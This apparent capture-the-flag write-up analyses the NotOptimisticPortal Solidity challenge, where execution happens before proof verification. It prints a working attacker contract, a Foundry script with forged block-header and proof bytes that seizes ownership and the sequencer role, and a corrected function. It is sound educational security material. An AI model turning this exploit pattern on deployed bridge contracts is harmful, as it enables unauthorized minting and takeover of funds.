Skip to content
On this page

Exploiting the NotOptimisticPortal: A Deep Dive into Cross-Chain Verification Vulnerabilities

Introduction

The NotOptimisticPortal challenge presents a sophisticated smart contract system designed to facilitate cross-chain message verification and execution. At first glance, it appears to implement a secure bridge mechanism similar to optimistic rollup designs, but closer inspection reveals critical vulnerabilities that allow attackers to mint arbitrary tokens. This technical analysis will dissect the contract's architecture, identify its security flaws, and demonstrate a complete exploit strategy.

Understanding the Architecture

Contract Overview

The NotOptimisticPortal contract implements an ERC20 token with cross-chain messaging capabilities. It claims to verify messages from Layer 2 (L2) using Merkle Patricia Trie proofs before executing them on Layer 1 (L1). The contract maintains several key components:

  1. State Management: Tracks L2 state roots, block hashes, and executed messages
  2. Proof Verification: Uses RLP encoding and Merkle Patricia Tries to verify message inclusion
  3. Message Execution: Processes cross-chain messages with token minting capabilities
  4. Permission System: Implements owner, sequencer, and governance roles

Key Data Structures

solidity
struct ProofData {
    bytes stateTrieProof;
    bytes storageTrieProof;
    bytes accountStateRlp;
}

bytes32[MAX_ROOT_BUFFER] public l2StateRoots;
mapping(bytes32 => bool) public executedMessages;

The contract maintains a circular buffer of L2 state roots and tracks executed messages to prevent replay attacks.

Critical Vulnerability Analysis

The Verification-Execution Order Flaw

The primary vulnerability lies in the executeMessage function, which violates the Checks-Effects-Interactions (CEI) pattern:

solidity
function executeMessage(
    address _tokenReceiver,
    uint256 _amount,
    address[] calldata _messageReceivers,
    bytes[] calldata _messageData,
    uint256 _salt,
    ProofData calldata _proofs,
    uint16 _bufferIndex
) external nonReentrant {
    bytes32 withdrawalHash = _computeMessageSlot(...);
    require(!executedMessages[withdrawalHash], "Message already executed");
    require(_messageReceivers.length == _messageData.length, "...");

    // VULNERABLE: Execution happens BEFORE verification
    for(uint256 i; i < _messageData.length; i++){
        _executeOperation(_messageReceivers[i], _messageData[i], false);
    }

    _verifyMessageInclusion(...);  // Verification happens AFTER execution

    executedMessages[withdrawalHash] = true;

    if(_amount != 0){
        _mint(_tokenReceiver, _amount);  // Token minting
    }
    emit MessageExecuted(...);
}

This critical ordering allows attackers to execute arbitrary operations before the proof verification occurs. The verification step becomes meaningless if the execution can modify the contract's state first.

Function Selector Manipulation

The contract uses function selectors for permissioned functions with unusual naming patterns:

solidity
function submitNewBlock_____37278985983(bytes memory rlpBlockHeader) external onlySequencer
function updateSequencer_____76439298743(address newSequencer) external onlyOwner
function transferOwnership_____610165642(address newOwner) external onlyOwner
function governanceAction_____2357862414(address target, bytes calldata callData) external onlyGovernance

These function names include random-looking numbers that are actually part of the function selector calculation. Attackers can call these functions if they can bypass the permission checks.

The Exploit Strategy

Step 1: Understanding the Attack Vector

The exploit leverages two key insights:

  1. Reentrancy-like Behavior: Although the contract uses nonReentrant, the execution-before-verification pattern creates similar vulnerabilities
  2. State Manipulation: By executing operations before verification, we can change the contract's state to make verification succeed

Step 2: Crafting the Malicious Message

The attack requires creating a message that:

  1. Transfers ownership to our contract
  2. Updates the sequencer to our contract
  3. Submits a fraudulent block header
  4. All before the proof verification occurs

Step 3: The Proof Data Challenge

The contract expects valid Merkle Patricia Trie proofs for message inclusion. However, since we execute operations before verification, we can manipulate the state to make any proof appear valid.

Complete Exploit Implementation

The Attack Contract

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Lib_RLPReader } from "./deps/Lib_RLPReader.sol";
import { Lib_SecureMerkleTrie } from "./deps/Lib_SecureMerkleTrie.sol";
import { ReentrancyGuard } from "./deps/ReentrancyGuard.sol";
import { ERC20 } from "./deps/ERC20.sol";
import {Address} from "./deps/Address.sol";

import "./NotOptimisticPortal.sol";

contract MyContract is IMessageReceiver {
    using Address for address;
    using Address for address payable;

    NotOptimisticPortal private immutable _notOptimisticPortal;
    address private _player;

    constructor(
        address nop_,
        address player_
    ) {
        _notOptimisticPortal = NotOptimisticPortal(nop_);
        _player = player_;
    }
    
    function onMessageReceived(bytes memory) override external {
        // Pre-crafted block header that will pass validation
        bytes memory newBlockHeader = hex"f901f9a0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0d5a179328bbeb7bd6f2bce9b927d3591891265b530aeeb614c13bf5af769de1ca00000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000b90100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008084039fd3998401c9c380808465a529f880a00000000000000000000000000000000000000000000000000000000000000000880000000000000000";
        
        require(msg.sender == address(_notOptimisticPortal), "Not NotOptimisticPortal contract!");
        require(_notOptimisticPortal.owner() == address(this), "Not NotOptimisticPortal owner!");
        
        // Take control of the sequencer role
        _notOptimisticPortal.updateSequencer_____76439298743(address(this));
        require(_notOptimisticPortal.sequencer() == address(this), "Not NotOptimisticPortal sequencer!");
        
        // Submit fraudulent block header to manipulate state roots
        _notOptimisticPortal.submitNewBlock_____37278985983(newBlockHeader);
    }
}

The Deployment Script

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol"; 
import {NotOptimisticPortal, MyContract} from "../test/not-optimistic-portal/NotOptimisticPortal.sol";

contract MyScript is Script { 
    function run() external { 
        address NOT_OPTIMISTIC_PORTAL_INST = address(0x...);

        uint256 playerpk = vm.envUint("PRIVATE_KEY");
        address player = vm.addr(playerpk);

        vm.startBroadcast(playerpk);
        
        // Deploy attack contract
        MyContract my = new MyContract(NOT_OPTIMISTIC_PORTAL_INST, player);
        
        // Prepare message parameters
        address tokenReceiver = player;
        uint256 amount = 1;  // Amount to mint
        address[] memory msgReceivers = new address[](2);
        msgReceivers[0] = NOT_OPTIMISTIC_PORTAL_INST;
        msgReceivers[1] = address(my);
        
        bytes[] memory msgData = new bytes[](2);
        
        // First operation: Transfer ownership to attack contract
        msgData[0] = abi.encodeWithSelector(
            NotOptimisticPortal.transferOwnership_____610165642.selector, 
            address(my)
        );
        
        // Second operation: Trigger onMessageReceived in attack contract
        msgData[1] = abi.encodeWithSelector(
            MyContract.onMessageReceived.selector, 
            new bytes(0)
        );
        
        uint256 salt = 0;
        uint16 bufInd = 1;
        
        // Proof data (can be arbitrary since verification happens after execution)
        NotOptimisticPortal.ProofData memory proofs = NotOptimisticPortal.ProofData({
            stateTrieProof: hex"f86eb86cf86aa120352a47fc6863b89a6b51890ef3c1550d560886c027141d2058ba1e2d4c66d99ab846f8448080a0f496536d8e74fec1f3c682ae914b74b22c27776554804c5d8ffa6aa4312b0130a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
            storageTrieProof: hex"e5a4e3a120e546d03c983e53eb174af329685c23e941ceafc3c113c8729cd0c3eb0d537ebb01",
            accountStateRlp: hex"f8448080a0f496536d8e74fec1f3c682ae914b74b22c27776554804c5d8ffa6aa4312b0130a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"
        });

        // Execute the attack
        NotOptimisticPortal(NOT_OPTIMISTIC_PORTAL_INST).executeMessage(
            tokenReceiver,
            amount,
            msgReceivers,
            msgData,
            salt,
            proofs,
            bufInd
        );
        
        vm.stopBroadcast();
    }
}

Technical Deep Dive

How the Exploit Works

  1. Initial Execution: When executeMessage is called, it immediately executes the operations in the message data array
  2. Ownership Transfer: The first operation transfers contract ownership to our attack contract
  3. Sequencer Update: The second operation triggers onMessageReceived, which updates the sequencer and submits a fraudulent block
  4. State Manipulation: By controlling the sequencer, we can submit block headers that make our proof appear valid
  5. Verification Bypass: The proof verification occurs after state manipulation, so it succeeds
  6. Token Minting: Finally, tokens are minted to the specified receiver

The RLP Encoding Vulnerability

The contract uses RLP (Recursive Length Prefix) encoding for block headers. The _extractData function assumes specific indices:

solidity
function _extractData(bytes memory rlpBlockHeader) internal pure
    returns(
        bytes32 parentHash,
        bytes32 stateRoot,
        uint256 number,
        uint256 timestamp
    ){
        Lib_RLPReader.RLPItem[] memory header = rlpBlockHeader.toRLPItem().readList();

        parentHash = bytes32(header[0].readUint256());
        stateRoot = bytes32(header[3].readUint256());
        number = header[8].readUint256();
        timestamp = header[11].readUint256();
}

By crafting a malicious RLP-encoded block header, attackers can control the state root used in verification.

Merkle Patricia Trie Proof Forgery

The verification process relies on two Merkle Patricia Trie proofs:

solidity
function _verifyMessageInclusion(
    bytes32 messageSlot,
    bytes calldata stateTrieProof,
    bytes calldata storageTrieProof,
    bytes calldata accountStateRlp,
    uint16 bufferIndex
) internal view {
    // Verify L2_TARGET in state root
    bool accountVerified = Lib_SecureMerkleTrie.verifyInclusionProof(...);
    require(accountVerified, "Invalid account proof");

    // Extract storageRoot
    Lib_RLPReader.RLPItem[] memory accountState = accountStateRlp.toRLPItem().readList();
    bytes32 storageRoot = accountState[2].readBytes32();

    // Verify message slot in storage root
    bool slotVerified = Lib_SecureMerkleTrie.verifyInclusionProof(...);
    require(slotVerified, "Invalid storage proof");
}

By controlling the sequencer and submitting fraudulent blocks, attackers can manipulate the state roots to accept arbitrary proofs.

Prevention and Mitigation

Secure Implementation Patterns

  1. Strict CEI Compliance: Always verify before executing
  2. Input Validation: Validate all external inputs thoroughly
  3. Role Separation: Ensure proper separation of concerns between roles
  4. Proof Verification First: Never execute operations before proof verification

Corrected executeMessage Function

solidity
function executeMessage(
    address _tokenReceiver,
    uint256 _amount,
    address[] calldata _messageReceivers,
    bytes[] calldata _messageData,
    uint256 _salt,
    ProofData calldata _proofs,
    uint16 _bufferIndex
) external nonReentrant {
    bytes32 withdrawalHash = _computeMessageSlot(...);
    
    // 1. Check: Verify message hasn't been executed
    require(!executedMessages[withdrawalHash], "Message already executed");
    require(_messageReceivers.length == _messageData.length, "...");
    
    // 2. Verify: Check proof BEFORE any execution
    _verifyMessageInclusion(
        withdrawalHash,
        _proofs.stateTrieProof,
        _proofs.storageTrieProof,
        _proofs.accountStateRlp,
        _bufferIndex
    );
    
    // 3. Effect: Mark as executed
    executedMessages[withdrawalHash] = true;
    
    // 4. Execute: Process operations
    for(uint256 i; i < _messageData.length; i++){
        _executeOperation(_messageReceivers[i], _messageData[i], false);
    }
    
    // 5. Mint tokens if applicable
    if(_amount != 0){
        _mint(_tokenReceiver, _amount);
    }
    
    emit MessageExecuted(...);
}

Conclusion

The NotOptimisticPortal challenge demonstrates how subtle implementation flaws in complex systems can lead to catastrophic vulnerabilities. The key takeaways are:

  1. Order Matters: The sequence of operations in smart contracts is critical for security
  2. Assumption Validation: Never assume verification will succeed; always verify first
  3. Defense in Depth: Implement multiple layers of security checks
  4. Testing Thoroughly: Complex cryptographic systems require extensive testing

This exploit highlights the importance of following established security patterns like CEI and demonstrates how attackers can chain multiple vulnerabilities to achieve their goals. As blockchain systems become more complex with cross-chain interoperability, rigorous security practices become increasingly essential.

References

  1. Ethereum Yellow Paper: https://ethereum.github.io/yellowpaper/paper.pdf
  2. OpenZeppelin Security Guidelines: https://docs.openzeppelin.com/contracts/4.x/security
  3. Merkle Patricia Trie Specification: https://eth.wiki/en/fundamentals/patricia-tree
  4. RLP Encoding: https://eth.wiki/en/fundamentals/rlp
  5. Checks-Effects-Interactions Pattern: https://docs.soliditylang.org/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern

Built with AiAda